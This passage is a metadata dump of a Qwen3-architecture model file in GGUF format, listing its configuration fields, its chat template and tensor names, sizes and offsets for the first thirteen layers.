+GENERAL_TAGS=ARRAY_TYPE=8,ARRAY_LENGTH=1 +QWEN3_BLOCK_COUNT=28 +QWEN3_CONTEXT_LENGTH=40960 +QWEN3_EMBEDDING_LENGTH=1024 +QWEN3_FEED_FORWARD_LENGTH=3072 +QWEN3_ATTENTION_HEAD_COUNT=16 +QWEN3_ATTENTION_HEAD_COUNT_KV=8 +QWEN3_ROPE_FREQ_BASE=1000000.0 +QWEN3_ATTENTION_LAYER_NORM_RMS_EPSILON=9.999999974752427e-07 +QWEN3_ATTENTION_KEY_LENGTH=128 +QWEN3_ATTENTION_VALUE_LENGTH=128 +GENERAL_FILE_TYPE=0 +GENERAL_QUANTIZATION_VERSION=2 +TOKENIZER_GGML_MODEL=gpt2 +TOKENIZER_GGML_PRE=qwen2 +TOKENIZER_GGML_TOKENS=ARRAY_TYPE=8,ARRAY_LENGTH=151936 +TOKENIZER_GGML_TOKEN_TYPE=ARRAY_TYPE=5,ARRAY_LENGTH=151936 +TOKENIZER_GGML_MERGES=ARRAY_TYPE=8,ARRAY_LENGTH=151387 +TOKENIZER_GGML_EOS_TOKEN_ID=151645 +TOKENIZER_GGML_PADDING_TOKEN_ID=151643 +TOKENIZER_GGML_BOS_TOKEN_ID=151643 +TOKENIZER_GGML_ADD_BOS_TOKEN=False +TOKENIZER_CHAT_TEMPLATE={%- if tools %} + {{- '<|im_start|>system\n' }} + {%- if messages[0].role == 'system' %} + {{- messages[0].content + '\n\n' }} + {%- endif %} + {{- "# Tools\n\nYou may call one or more functions to assist with the user query.\n\nYou are provided with function signatures within XML tags:\n" }} + {%- for tool in tools %} + {{- "\n" }} + {{- tool | tojson }} + {%- endfor %} + {{- "\n\n\nFor each function call, return a json object with function name and arguments within XML tags:\n\n{\"name\": , \"arguments\": }\n<|im_end|>\n" }} +{%- else %} + {%- if messages[0].role == 'system' %} + {{- '<|im_start|>system\n' + messages[0].content + '<|im_end|>\n' }} + {%- endif %} +{%- endif %} +{%- set ns = namespace(multi_step_tool=true, last_query_index=messages|length - 1) %} +{%- for message in messages[::-1] %} + {%- set index = (messages|length - 1) - loop.index0 %} + {%- if ns.multi_step_tool and message.role == "user" and message.content is string and not(message.content.startswith('') and message.content.endswith('')) %} + {%- set ns.multi_step_tool = false %} + {%- set ns.last_query_index = index %} + {%- endif %} +{%- endfor %} +{%- for message in messages %} + {%- if message.content is string %} + {%- set content = message.content %} + {%- else %} + {%- set content = '' %} + {%- endif %} + {%- if (message.role == "user") or (message.role == "system" and not loop.first) %} + {{- '<|im_start|>' + message.role + '\n' + content + '<|im_end|>' + '\n' }} + {%- elif message.role == "assistant" %} + {%- set reasoning_content = '' %} + {%- if message.reasoning_content is string %} + {%- set reasoning_content = message.reasoning_content %} + {%- else %} + {%- if '' in content %} + {%- set reasoning_content = content.split('')[0].rstrip('\n').split('')[-1].lstrip('\n') %} + {%- set content = content.split('')[-1].lstrip('\n') %} + {%- endif %} + {%- endif %} + {%- if loop.index0 > ns.last_query_index %} + {%- if loop.last or (not loop.last and reasoning_content) %} + {{- '<|im_start|>' + message.role + '\n\n' + reasoning_content.strip('\n') + '\n\n\n' + content.lstrip('\n') }} + {%- else %} + {{- '<|im_start|>' + message.role + '\n' + content }} + {%- endif %} + {%- else %} + {{- '<|im_start|>' + message.role + '\n' + content }} + {%- endif %} + {%- if message.tool_calls %} + {%- for tool_call in message.tool_calls %} + {%- if (loop.first and content) or (not loop.first) %} + {{- '\n' }} + {%- endif %} + {%- if tool_call.function %} + {%- set tool_call = tool_call.function %} + {%- endif %} + {{- '\n{"name": "' }} + {{- tool_call.name }} + {{- '", "arguments": ' }} + {%- if tool_call.arguments is string %} + {{- tool_call.arguments }} + {%- else %} + {{- tool_call.arguments | tojson }} + {%- endif %} + {{- '}\n' }} + {%- endfor %} + {%- endif %} + {{- '<|im_end|>\n' }} + {%- elif message.role == "tool" %} + {%- if loop.first or (messages[loop.index0 - 1].role != "tool") %} + {{- '<|im_start|>user' }} + {%- endif %} + {{- '\n\n' }} + {{- content }} + {{- '\n' }} + {%- if loop.last or (messages[loop.index0 + 1].role != "tool") %} + {{- '<|im_end|>\n' }} + {%- endif %} + {%- endif %} +{%- endfor %} +{%- if add_generation_prompt %} + {{- '<|im_start|>assistant\n' }} + {%- if enable_thinking is defined and enable_thinking is false %} + {{- '\n\n\n\n' }} + {%- endif %} +{%- endif %} +TENSOR_0_NAME=OUTPUT_WEIGHT +TENSOR_0_DIMENSIONS=1024,151936 +TENSOR_0_TYPE=0 +TENSOR_0_OFFSET=0 +TENSOR_1_NAME=OUTPUT_NORM_WEIGHT +TENSOR_1_DIMENSIONS=1024 +TENSOR_1_TYPE=0 +TENSOR_1_OFFSET=622329856 +TENSOR_2_NAME=TOKEN_EMBD_WEIGHT +TENSOR_2_DIMENSIONS=1024,151936 +TENSOR_2_TYPE=0 +TENSOR_2_OFFSET=622333952 +TENSOR_3_NAME=BLK_0_ATTN_K_WEIGHT +TENSOR_3_DIMENSIONS=1024,1024 +TENSOR_3_TYPE=0 +TENSOR_3_OFFSET=1244663808 +TENSOR_4_NAME=BLK_0_ATTN_K_NORM_WEIGHT +TENSOR_4_DIMENSIONS=128 +TENSOR_4_TYPE=0 +TENSOR_4_OFFSET=1248858112 +TENSOR_5_NAME=BLK_0_ATTN_NORM_WEIGHT +TENSOR_5_DIMENSIONS=1024 +TENSOR_5_TYPE=0 +TENSOR_5_OFFSET=1248858624 +TENSOR_6_NAME=BLK_0_ATTN_OUTPUT_WEIGHT +TENSOR_6_DIMENSIONS=2048,1024 +TENSOR_6_TYPE=0 +TENSOR_6_OFFSET=1248862720 +TENSOR_7_NAME=BLK_0_ATTN_Q_WEIGHT +TENSOR_7_DIMENSIONS=1024,2048 +TENSOR_7_TYPE=0 +TENSOR_7_OFFSET=1257251328 +TENSOR_8_NAME=BLK_0_ATTN_Q_NORM_WEIGHT +TENSOR_8_DIMENSIONS=128 +TENSOR_8_TYPE=0 +TENSOR_8_OFFSET=1265639936 +TENSOR_9_NAME=BLK_0_ATTN_V_WEIGHT +TENSOR_9_DIMENSIONS=1024,1024 +TENSOR_9_TYPE=0 +TENSOR_9_OFFSET=1265640448 +TENSOR_10_NAME=BLK_0_FFN_DOWN_WEIGHT +TENSOR_10_DIMENSIONS=3072,1024 +TENSOR_10_TYPE=0 +TENSOR_10_OFFSET=1269834752 +TENSOR_11_NAME=BLK_0_FFN_GATE_WEIGHT +TENSOR_11_DIMENSIONS=1024,3072 +TENSOR_11_TYPE=0 +TENSOR_11_OFFSET=1282417664 +TENSOR_12_NAME=BLK_0_FFN_NORM_WEIGHT +TENSOR_12_DIMENSIONS=1024 +TENSOR_12_TYPE=0 +TENSOR_12_OFFSET=1295000576 +TENSOR_13_NAME=BLK_0_FFN_UP_WEIGHT +TENSOR_13_DIMENSIONS=1024,3072 +TENSOR_13_TYPE=0 +TENSOR_13_OFFSET=1295004672 +TENSOR_14_NAME=BLK_1_ATTN_K_WEIGHT +TENSOR_14_DIMENSIONS=1024,1024 +TENSOR_14_TYPE=0 +TENSOR_14_OFFSET=1307587584 +TENSOR_15_NAME=BLK_1_ATTN_K_NORM_WEIGHT +TENSOR_15_DIMENSIONS=128 +TENSOR_15_TYPE=0 +TENSOR_15_OFFSET=1311781888 +TENSOR_16_NAME=BLK_1_ATTN_NORM_WEIGHT +TENSOR_16_DIMENSIONS=1024 +TENSOR_16_TYPE=0 +TENSOR_16_OFFSET=1311782400 +TENSOR_17_NAME=BLK_1_ATTN_OUTPUT_WEIGHT +TENSOR_17_DIMENSIONS=2048,1024 +TENSOR_17_TYPE=0 +TENSOR_17_OFFSET=1311786496 +TENSOR_18_NAME=BLK_1_ATTN_Q_WEIGHT +TENSOR_18_DIMENSIONS=1024,2048 +TENSOR_18_TYPE=0 +TENSOR_18_OFFSET=1320175104 +TENSOR_19_NAME=BLK_1_ATTN_Q_NORM_WEIGHT +TENSOR_19_DIMENSIONS=128 +TENSOR_19_TYPE=0 +TENSOR_19_OFFSET=1328563712 +TENSOR_20_NAME=BLK_1_ATTN_V_WEIGHT +TENSOR_20_DIMENSIONS=1024,1024 +TENSOR_20_TYPE=0 +TENSOR_20_OFFSET=1328564224 +TENSOR_21_NAME=BLK_1_FFN_DOWN_WEIGHT +TENSOR_21_DIMENSIONS=3072,1024 +TENSOR_21_TYPE=0 +TENSOR_21_OFFSET=1332758528 +TENSOR_22_NAME=BLK_1_FFN_GATE_WEIGHT +TENSOR_22_DIMENSIONS=1024,3072 +TENSOR_22_TYPE=0 +TENSOR_22_OFFSET=1345341440 +TENSOR_23_NAME=BLK_1_FFN_NORM_WEIGHT +TENSOR_23_DIMENSIONS=1024 +TENSOR_23_TYPE=0 +TENSOR_23_OFFSET=1357924352 +TENSOR_24_NAME=BLK_1_FFN_UP_WEIGHT +TENSOR_24_DIMENSIONS=1024,3072 +TENSOR_24_TYPE=0 +TENSOR_24_OFFSET=1357928448 +TENSOR_25_NAME=BLK_2_ATTN_K_WEIGHT +TENSOR_25_DIMENSIONS=1024,1024 +TENSOR_25_TYPE=0 +TENSOR_25_OFFSET=1370511360 +TENSOR_26_NAME=BLK_2_ATTN_K_NORM_WEIGHT +TENSOR_26_DIMENSIONS=128 +TENSOR_26_TYPE=0 +TENSOR_26_OFFSET=1374705664 +TENSOR_27_NAME=BLK_2_ATTN_NORM_WEIGHT +TENSOR_27_DIMENSIONS=1024 +TENSOR_27_TYPE=0 +TENSOR_27_OFFSET=1374706176 +TENSOR_28_NAME=BLK_2_ATTN_OUTPUT_WEIGHT +TENSOR_28_DIMENSIONS=2048,1024 +TENSOR_28_TYPE=0 +TENSOR_28_OFFSET=1374710272 +TENSOR_29_NAME=BLK_2_ATTN_Q_WEIGHT +TENSOR_29_DIMENSIONS=1024,2048 +TENSOR_29_TYPE=0 +TENSOR_29_OFFSET=1383098880 +TENSOR_30_NAME=BLK_2_ATTN_Q_NORM_WEIGHT +TENSOR_30_DIMENSIONS=128 +TENSOR_30_TYPE=0 +TENSOR_30_OFFSET=1391487488 +TENSOR_31_NAME=BLK_2_ATTN_V_WEIGHT +TENSOR_31_DIMENSIONS=1024,1024 +TENSOR_31_TYPE=0 +TENSOR_31_OFFSET=1391488000 +TENSOR_32_NAME=BLK_2_FFN_DOWN_WEIGHT +TENSOR_32_DIMENSIONS=3072,1024 +TENSOR_32_TYPE=0 +TENSOR_32_OFFSET=1395682304 +TENSOR_33_NAME=BLK_2_FFN_GATE_WEIGHT +TENSOR_33_DIMENSIONS=1024,3072 +TENSOR_33_TYPE=0 +TENSOR_33_OFFSET=1408265216 +TENSOR_34_NAME=BLK_2_FFN_NORM_WEIGHT +TENSOR_34_DIMENSIONS=1024 +TENSOR_34_TYPE=0 +TENSOR_34_OFFSET=1420848128 +TENSOR_35_NAME=BLK_2_FFN_UP_WEIGHT +TENSOR_35_DIMENSIONS=1024,3072 +TENSOR_35_TYPE=0 +TENSOR_35_OFFSET=1420852224 +TENSOR_36_NAME=BLK_3_ATTN_K_WEIGHT +TENSOR_36_DIMENSIONS=1024,1024 +TENSOR_36_TYPE=0 +TENSOR_36_OFFSET=1433435136 +TENSOR_37_NAME=BLK_3_ATTN_K_NORM_WEIGHT +TENSOR_37_DIMENSIONS=128 +TENSOR_37_TYPE=0 +TENSOR_37_OFFSET=1437629440 +TENSOR_38_NAME=BLK_3_ATTN_NORM_WEIGHT +TENSOR_38_DIMENSIONS=1024 +TENSOR_38_TYPE=0 +TENSOR_38_OFFSET=1437629952 +TENSOR_39_NAME=BLK_3_ATTN_OUTPUT_WEIGHT +TENSOR_39_DIMENSIONS=2048,1024 +TENSOR_39_TYPE=0 +TENSOR_39_OFFSET=1437634048 +TENSOR_40_NAME=BLK_3_ATTN_Q_WEIGHT +TENSOR_40_DIMENSIONS=1024,2048 +TENSOR_40_TYPE=0 +TENSOR_40_OFFSET=1446022656 +TENSOR_41_NAME=BLK_3_ATTN_Q_NORM_WEIGHT +TENSOR_41_DIMENSIONS=128 +TENSOR_41_TYPE=0 +TENSOR_41_OFFSET=1454411264 +TENSOR_42_NAME=BLK_3_ATTN_V_WEIGHT +TENSOR_42_DIMENSIONS=1024,1024 +TENSOR_42_TYPE=0 +TENSOR_42_OFFSET=1454411776 +TENSOR_43_NAME=BLK_3_FFN_DOWN_WEIGHT +TENSOR_43_DIMENSIONS=3072,1024 +TENSOR_43_TYPE=0 +TENSOR_43_OFFSET=1458606080 +TENSOR_44_NAME=BLK_3_FFN_GATE_WEIGHT +TENSOR_44_DIMENSIONS=1024,3072 +TENSOR_44_TYPE=0 +TENSOR_44_OFFSET=1471188992 +TENSOR_45_NAME=BLK_3_FFN_NORM_WEIGHT +TENSOR_45_DIMENSIONS=1024 +TENSOR_45_TYPE=0 +TENSOR_45_OFFSET=1483771904 +TENSOR_46_NAME=BLK_3_FFN_UP_WEIGHT +TENSOR_46_DIMENSIONS=1024,3072 +TENSOR_46_TYPE=0 +TENSOR_46_OFFSET=1483776000 +TENSOR_47_NAME=BLK_4_ATTN_K_WEIGHT +TENSOR_47_DIMENSIONS=1024,1024 +TENSOR_47_TYPE=0 +TENSOR_47_OFFSET=1496358912 +TENSOR_48_NAME=BLK_4_ATTN_K_NORM_WEIGHT +TENSOR_48_DIMENSIONS=128 +TENSOR_48_TYPE=0 +TENSOR_48_OFFSET=1500553216 +TENSOR_49_NAME=BLK_4_ATTN_NORM_WEIGHT +TENSOR_49_DIMENSIONS=1024 +TENSOR_49_TYPE=0 +TENSOR_49_OFFSET=1500553728 +TENSOR_50_NAME=BLK_4_ATTN_OUTPUT_WEIGHT +TENSOR_50_DIMENSIONS=2048,1024 +TENSOR_50_TYPE=0 +TENSOR_50_OFFSET=1500557824 +TENSOR_51_NAME=BLK_4_ATTN_Q_WEIGHT +TENSOR_51_DIMENSIONS=1024,2048 +TENSOR_51_TYPE=0 +TENSOR_51_OFFSET=1508946432 +TENSOR_52_NAME=BLK_4_ATTN_Q_NORM_WEIGHT +TENSOR_52_DIMENSIONS=128 +TENSOR_52_TYPE=0 +TENSOR_52_OFFSET=1517335040 +TENSOR_53_NAME=BLK_4_ATTN_V_WEIGHT +TENSOR_53_DIMENSIONS=1024,1024 +TENSOR_53_TYPE=0 +TENSOR_53_OFFSET=1517335552 +TENSOR_54_NAME=BLK_4_FFN_DOWN_WEIGHT +TENSOR_54_DIMENSIONS=3072,1024 +TENSOR_54_TYPE=0 +TENSOR_54_OFFSET=1521529856 +TENSOR_55_NAME=BLK_4_FFN_GATE_WEIGHT +TENSOR_55_DIMENSIONS=1024,3072 +TENSOR_55_TYPE=0 +TENSOR_55_OFFSET=1534112768 +TENSOR_56_NAME=BLK_4_FFN_NORM_WEIGHT +TENSOR_56_DIMENSIONS=1024 +TENSOR_56_TYPE=0 +TENSOR_56_OFFSET=1546695680 +TENSOR_57_NAME=BLK_4_FFN_UP_WEIGHT +TENSOR_57_DIMENSIONS=1024,3072 +TENSOR_57_TYPE=0 +TENSOR_57_OFFSET=1546699776 +TENSOR_58_NAME=BLK_5_ATTN_K_WEIGHT +TENSOR_58_DIMENSIONS=1024,1024 +TENSOR_58_TYPE=0 +TENSOR_58_OFFSET=1559282688 +TENSOR_59_NAME=BLK_5_ATTN_K_NORM_WEIGHT +TENSOR_59_DIMENSIONS=128 +TENSOR_59_TYPE=0 +TENSOR_59_OFFSET=1563476992 +TENSOR_60_NAME=BLK_5_ATTN_NORM_WEIGHT +TENSOR_60_DIMENSIONS=1024 +TENSOR_60_TYPE=0 +TENSOR_60_OFFSET=1563477504 +TENSOR_61_NAME=BLK_5_ATTN_OUTPUT_WEIGHT +TENSOR_61_DIMENSIONS=2048,1024 +TENSOR_61_TYPE=0 +TENSOR_61_OFFSET=1563481600 +TENSOR_62_NAME=BLK_5_ATTN_Q_WEIGHT +TENSOR_62_DIMENSIONS=1024,2048 +TENSOR_62_TYPE=0 +TENSOR_62_OFFSET=1571870208 +TENSOR_63_NAME=BLK_5_ATTN_Q_NORM_WEIGHT +TENSOR_63_DIMENSIONS=128 +TENSOR_63_TYPE=0 +TENSOR_63_OFFSET=1580258816 +TENSOR_64_NAME=BLK_5_ATTN_V_WEIGHT +TENSOR_64_DIMENSIONS=1024,1024 +TENSOR_64_TYPE=0 +TENSOR_64_OFFSET=1580259328 +TENSOR_65_NAME=BLK_5_FFN_DOWN_WEIGHT +TENSOR_65_DIMENSIONS=3072,1024 +TENSOR_65_TYPE=0 +TENSOR_65_OFFSET=1584453632 +TENSOR_66_NAME=BLK_5_FFN_GATE_WEIGHT +TENSOR_66_DIMENSIONS=1024,3072 +TENSOR_66_TYPE=0 +TENSOR_66_OFFSET=1597036544 +TENSOR_67_NAME=BLK_5_FFN_NORM_WEIGHT +TENSOR_67_DIMENSIONS=1024 +TENSOR_67_TYPE=0 +TENSOR_67_OFFSET=1609619456 +TENSOR_68_NAME=BLK_5_FFN_UP_WEIGHT +TENSOR_68_DIMENSIONS=1024,3072 +TENSOR_68_TYPE=0 +TENSOR_68_OFFSET=1609623552 +TENSOR_69_NAME=BLK_6_ATTN_K_WEIGHT +TENSOR_69_DIMENSIONS=1024,1024 +TENSOR_69_TYPE=0 +TENSOR_69_OFFSET=1622206464 +TENSOR_70_NAME=BLK_6_ATTN_K_NORM_WEIGHT +TENSOR_70_DIMENSIONS=128 +TENSOR_70_TYPE=0 +TENSOR_70_OFFSET=1626400768 +TENSOR_71_NAME=BLK_6_ATTN_NORM_WEIGHT +TENSOR_71_DIMENSIONS=1024 +TENSOR_71_TYPE=0 +TENSOR_71_OFFSET=1626401280 +TENSOR_72_NAME=BLK_6_ATTN_OUTPUT_WEIGHT +TENSOR_72_DIMENSIONS=2048,1024 +TENSOR_72_TYPE=0 +TENSOR_72_OFFSET=1626405376 +TENSOR_73_NAME=BLK_6_ATTN_Q_WEIGHT +TENSOR_73_DIMENSIONS=1024,2048 +TENSOR_73_TYPE=0 +TENSOR_73_OFFSET=1634793984 +TENSOR_74_NAME=BLK_6_ATTN_Q_NORM_WEIGHT +TENSOR_74_DIMENSIONS=128 +TENSOR_74_TYPE=0 +TENSOR_74_OFFSET=1643182592 +TENSOR_75_NAME=BLK_6_ATTN_V_WEIGHT +TENSOR_75_DIMENSIONS=1024,1024 +TENSOR_75_TYPE=0 +TENSOR_75_OFFSET=1643183104 +TENSOR_76_NAME=BLK_6_FFN_DOWN_WEIGHT +TENSOR_76_DIMENSIONS=3072,1024 +TENSOR_76_TYPE=0 +TENSOR_76_OFFSET=1647377408 +TENSOR_77_NAME=BLK_6_FFN_GATE_WEIGHT +TENSOR_77_DIMENSIONS=1024,3072 +TENSOR_77_TYPE=0 +TENSOR_77_OFFSET=1659960320 +TENSOR_78_NAME=BLK_6_FFN_NORM_WEIGHT +TENSOR_78_DIMENSIONS=1024 +TENSOR_78_TYPE=0 +TENSOR_78_OFFSET=1672543232 +TENSOR_79_NAME=BLK_6_FFN_UP_WEIGHT +TENSOR_79_DIMENSIONS=1024,3072 +TENSOR_79_TYPE=0 +TENSOR_79_OFFSET=1672547328 +TENSOR_80_NAME=BLK_7_ATTN_K_WEIGHT +TENSOR_80_DIMENSIONS=1024,1024 +TENSOR_80_TYPE=0 +TENSOR_80_OFFSET=1685130240 +TENSOR_81_NAME=BLK_7_ATTN_K_NORM_WEIGHT +TENSOR_81_DIMENSIONS=128 +TENSOR_81_TYPE=0 +TENSOR_81_OFFSET=1689324544 +TENSOR_82_NAME=BLK_7_ATTN_NORM_WEIGHT +TENSOR_82_DIMENSIONS=1024 +TENSOR_82_TYPE=0 +TENSOR_82_OFFSET=1689325056 +TENSOR_83_NAME=BLK_7_ATTN_OUTPUT_WEIGHT +TENSOR_83_DIMENSIONS=2048,1024 +TENSOR_83_TYPE=0 +TENSOR_83_OFFSET=1689329152 +TENSOR_84_NAME=BLK_7_ATTN_Q_WEIGHT +TENSOR_84_DIMENSIONS=1024,2048 +TENSOR_84_TYPE=0 +TENSOR_84_OFFSET=1697717760 +TENSOR_85_NAME=BLK_7_ATTN_Q_NORM_WEIGHT +TENSOR_85_DIMENSIONS=128 +TENSOR_85_TYPE=0 +TENSOR_85_OFFSET=1706106368 +TENSOR_86_NAME=BLK_7_ATTN_V_WEIGHT +TENSOR_86_DIMENSIONS=1024,1024 +TENSOR_86_TYPE=0 +TENSOR_86_OFFSET=1706106880 +TENSOR_87_NAME=BLK_7_FFN_DOWN_WEIGHT +TENSOR_87_DIMENSIONS=3072,1024 +TENSOR_87_TYPE=0 +TENSOR_87_OFFSET=1710301184 +TENSOR_88_NAME=BLK_7_FFN_GATE_WEIGHT +TENSOR_88_DIMENSIONS=1024,3072 +TENSOR_88_TYPE=0 +TENSOR_88_OFFSET=1722884096 +TENSOR_89_NAME=BLK_7_FFN_NORM_WEIGHT +TENSOR_89_DIMENSIONS=1024 +TENSOR_89_TYPE=0 +TENSOR_89_OFFSET=1735467008 +TENSOR_90_NAME=BLK_7_FFN_UP_WEIGHT +TENSOR_90_DIMENSIONS=1024,3072 +TENSOR_90_TYPE=0 +TENSOR_90_OFFSET=1735471104 +TENSOR_91_NAME=BLK_8_ATTN_K_WEIGHT +TENSOR_91_DIMENSIONS=1024,1024 +TENSOR_91_TYPE=0 +TENSOR_91_OFFSET=1748054016 +TENSOR_92_NAME=BLK_8_ATTN_K_NORM_WEIGHT +TENSOR_92_DIMENSIONS=128 +TENSOR_92_TYPE=0 +TENSOR_92_OFFSET=1752248320 +TENSOR_93_NAME=BLK_8_ATTN_NORM_WEIGHT +TENSOR_93_DIMENSIONS=1024 +TENSOR_93_TYPE=0 +TENSOR_93_OFFSET=1752248832 +TENSOR_94_NAME=BLK_8_ATTN_OUTPUT_WEIGHT +TENSOR_94_DIMENSIONS=2048,1024 +TENSOR_94_TYPE=0 +TENSOR_94_OFFSET=1752252928 +TENSOR_95_NAME=BLK_8_ATTN_Q_WEIGHT +TENSOR_95_DIMENSIONS=1024,2048 +TENSOR_95_TYPE=0 +TENSOR_95_OFFSET=1760641536 +TENSOR_96_NAME=BLK_8_ATTN_Q_NORM_WEIGHT +TENSOR_96_DIMENSIONS=128 +TENSOR_96_TYPE=0 +TENSOR_96_OFFSET=1769030144 +TENSOR_97_NAME=BLK_8_ATTN_V_WEIGHT +TENSOR_97_DIMENSIONS=1024,1024 +TENSOR_97_TYPE=0 +TENSOR_97_OFFSET=1769030656 +TENSOR_98_NAME=BLK_8_FFN_DOWN_WEIGHT +TENSOR_98_DIMENSIONS=3072,1024 +TENSOR_98_TYPE=0 +TENSOR_98_OFFSET=1773224960 +TENSOR_99_NAME=BLK_8_FFN_GATE_WEIGHT +TENSOR_99_DIMENSIONS=1024,3072 +TENSOR_99_TYPE=0 +TENSOR_99_OFFSET=1785807872 +TENSOR_100_NAME=BLK_8_FFN_NORM_WEIGHT +TENSOR_100_DIMENSIONS=1024 +TENSOR_100_TYPE=0 +TENSOR_100_OFFSET=1798390784 +TENSOR_101_NAME=BLK_8_FFN_UP_WEIGHT +TENSOR_101_DIMENSIONS=1024,3072 +TENSOR_101_TYPE=0 +TENSOR_101_OFFSET=1798394880 +TENSOR_102_NAME=BLK_9_ATTN_K_WEIGHT +TENSOR_102_DIMENSIONS=1024,1024 +TENSOR_102_TYPE=0 +TENSOR_102_OFFSET=1810977792 +TENSOR_103_NAME=BLK_9_ATTN_K_NORM_WEIGHT +TENSOR_103_DIMENSIONS=128 +TENSOR_103_TYPE=0 +TENSOR_103_OFFSET=1815172096 +TENSOR_104_NAME=BLK_9_ATTN_NORM_WEIGHT +TENSOR_104_DIMENSIONS=1024 +TENSOR_104_TYPE=0 +TENSOR_104_OFFSET=1815172608 +TENSOR_105_NAME=BLK_9_ATTN_OUTPUT_WEIGHT +TENSOR_105_DIMENSIONS=2048,1024 +TENSOR_105_TYPE=0 +TENSOR_105_OFFSET=1815176704 +TENSOR_106_NAME=BLK_9_ATTN_Q_WEIGHT +TENSOR_106_DIMENSIONS=1024,2048 +TENSOR_106_TYPE=0 +TENSOR_106_OFFSET=1823565312 +TENSOR_107_NAME=BLK_9_ATTN_Q_NORM_WEIGHT +TENSOR_107_DIMENSIONS=128 +TENSOR_107_TYPE=0 +TENSOR_107_OFFSET=1831953920 +TENSOR_108_NAME=BLK_9_ATTN_V_WEIGHT +TENSOR_108_DIMENSIONS=1024,1024 +TENSOR_108_TYPE=0 +TENSOR_108_OFFSET=1831954432 +TENSOR_109_NAME=BLK_9_FFN_DOWN_WEIGHT +TENSOR_109_DIMENSIONS=3072,1024 +TENSOR_109_TYPE=0 +TENSOR_109_OFFSET=1836148736 +TENSOR_110_NAME=BLK_9_FFN_GATE_WEIGHT +TENSOR_110_DIMENSIONS=1024,3072 +TENSOR_110_TYPE=0 +TENSOR_110_OFFSET=1848731648 +TENSOR_111_NAME=BLK_9_FFN_NORM_WEIGHT +TENSOR_111_DIMENSIONS=1024 +TENSOR_111_TYPE=0 +TENSOR_111_OFFSET=1861314560 +TENSOR_112_NAME=BLK_9_FFN_UP_WEIGHT +TENSOR_112_DIMENSIONS=1024,3072 +TENSOR_112_TYPE=0 +TENSOR_112_OFFSET=1861318656 +TENSOR_113_NAME=BLK_10_ATTN_K_WEIGHT +TENSOR_113_DIMENSIONS=1024,1024 +TENSOR_113_TYPE=0 +TENSOR_113_OFFSET=1873901568 +TENSOR_114_NAME=BLK_10_ATTN_K_NORM_WEIGHT +TENSOR_114_DIMENSIONS=128 +TENSOR_114_TYPE=0 +TENSOR_114_OFFSET=1878095872 +TENSOR_115_NAME=BLK_10_ATTN_NORM_WEIGHT +TENSOR_115_DIMENSIONS=1024 +TENSOR_115_TYPE=0 +TENSOR_115_OFFSET=1878096384 +TENSOR_116_NAME=BLK_10_ATTN_OUTPUT_WEIGHT +TENSOR_116_DIMENSIONS=2048,1024 +TENSOR_116_TYPE=0 +TENSOR_116_OFFSET=1878100480 +TENSOR_117_NAME=BLK_10_ATTN_Q_WEIGHT +TENSOR_117_DIMENSIONS=1024,2048 +TENSOR_117_TYPE=0 +TENSOR_117_OFFSET=1886489088 +TENSOR_118_NAME=BLK_10_ATTN_Q_NORM_WEIGHT +TENSOR_118_DIMENSIONS=128 +TENSOR_118_TYPE=0 +TENSOR_118_OFFSET=1894877696 +TENSOR_119_NAME=BLK_10_ATTN_V_WEIGHT +TENSOR_119_DIMENSIONS=1024,1024 +TENSOR_119_TYPE=0 +TENSOR_119_OFFSET=1894878208 +TENSOR_120_NAME=BLK_10_FFN_DOWN_WEIGHT +TENSOR_120_DIMENSIONS=3072,1024 +TENSOR_120_TYPE=0 +TENSOR_120_OFFSET=1899072512 +TENSOR_121_NAME=BLK_10_FFN_GATE_WEIGHT +TENSOR_121_DIMENSIONS=1024,3072 +TENSOR_121_TYPE=0 +TENSOR_121_OFFSET=1911655424 +TENSOR_122_NAME=BLK_10_FFN_NORM_WEIGHT +TENSOR_122_DIMENSIONS=1024 +TENSOR_122_TYPE=0 +TENSOR_122_OFFSET=1924238336 +TENSOR_123_NAME=BLK_10_FFN_UP_WEIGHT +TENSOR_123_DIMENSIONS=1024,3072 +TENSOR_123_TYPE=0 +TENSOR_123_OFFSET=1924242432 +TENSOR_124_NAME=BLK_11_ATTN_K_WEIGHT +TENSOR_124_DIMENSIONS=1024,1024 +TENSOR_124_TYPE=0 +TENSOR_124_OFFSET=1936825344 +TENSOR_125_NAME=BLK_11_ATTN_K_NORM_WEIGHT +TENSOR_125_DIMENSIONS=128 +TENSOR_125_TYPE=0 +TENSOR_125_OFFSET=1941019648 +TENSOR_126_NAME=BLK_11_ATTN_NORM_WEIGHT +TENSOR_126_DIMENSIONS=1024 +TENSOR_126_TYPE=0 +TENSOR_126_OFFSET=1941020160 +TENSOR_127_NAME=BLK_11_ATTN_OUTPUT_WEIGHT +TENSOR_127_DIMENSIONS=2048,1024 +TENSOR_127_TYPE=0 +TENSOR_127_OFFSET=1941024256 +TENSOR_128_NAME=BLK_11_ATTN_Q_WEIGHT +TENSOR_128_DIMENSIONS=1024,2048 +TENSOR_128_TYPE=0 +TENSOR_128_OFFSET=1949412864 +TENSOR_129_NAME=BLK_11_ATTN_Q_NORM_WEIGHT +TENSOR_129_DIMENSIONS=128 +TENSOR_129_TYPE=0 +TENSOR_129_OFFSET=1957801472 +TENSOR_130_NAME=BLK_11_ATTN_V_WEIGHT +TENSOR_130_DIMENSIONS=1024,1024 +TENSOR_130_TYPE=0 +TENSOR_130_OFFSET=1957801984 +TENSOR_131_NAME=BLK_11_FFN_DOWN_WEIGHT +TENSOR_131_DIMENSIONS=3072,1024 +TENSOR_131_TYPE=0 +TENSOR_131_OFFSET=1961996288 +TENSOR_132_NAME=BLK_11_FFN_GATE_WEIGHT +TENSOR_132_DIMENSIONS=1024,3072 +TENSOR_132_TYPE=0 +TENSOR_132_OFFSET=1974579200 +TENSOR_133_NAME=BLK_11_FFN_NORM_WEIGHT +TENSOR_133_DIMENSIONS=1024 +TENSOR_133_TYPE=0 +TENSOR_133_OFFSET=1987162112 +TENSOR_134_NAME=BLK_11_FFN_UP_WEIGHT +TENSOR_134_DIMENSIONS=1024,3072 +TENSOR_134_TYPE=0 +TENSOR_134_OFFSET=1987166208 +TENSOR_135_NAME=BLK_12_ATTN_K_WEIGHT +TENSOR_135_DIMENSIONS=1024,1024 +TENSOR_135_TYPE=0 +TENSOR_135_OFFSET=1999749120 +TENSOR_136_NAME=BLK_12_ATTN_K_NORM_WEIGHT +TENSOR_136_DIMENSIONS=128 +TENSOR_136_TYPE=0 +TENSOR_136_OFFSET=2003943424 +TENSOR_137_NAME=BLK_12_ATTN_NORM_WEIGHT +TENSOR_137_DIMENSIONS=1024 +TENSOR_137_TYPE=0 +TENSOR_137_OFFSET=2003943936 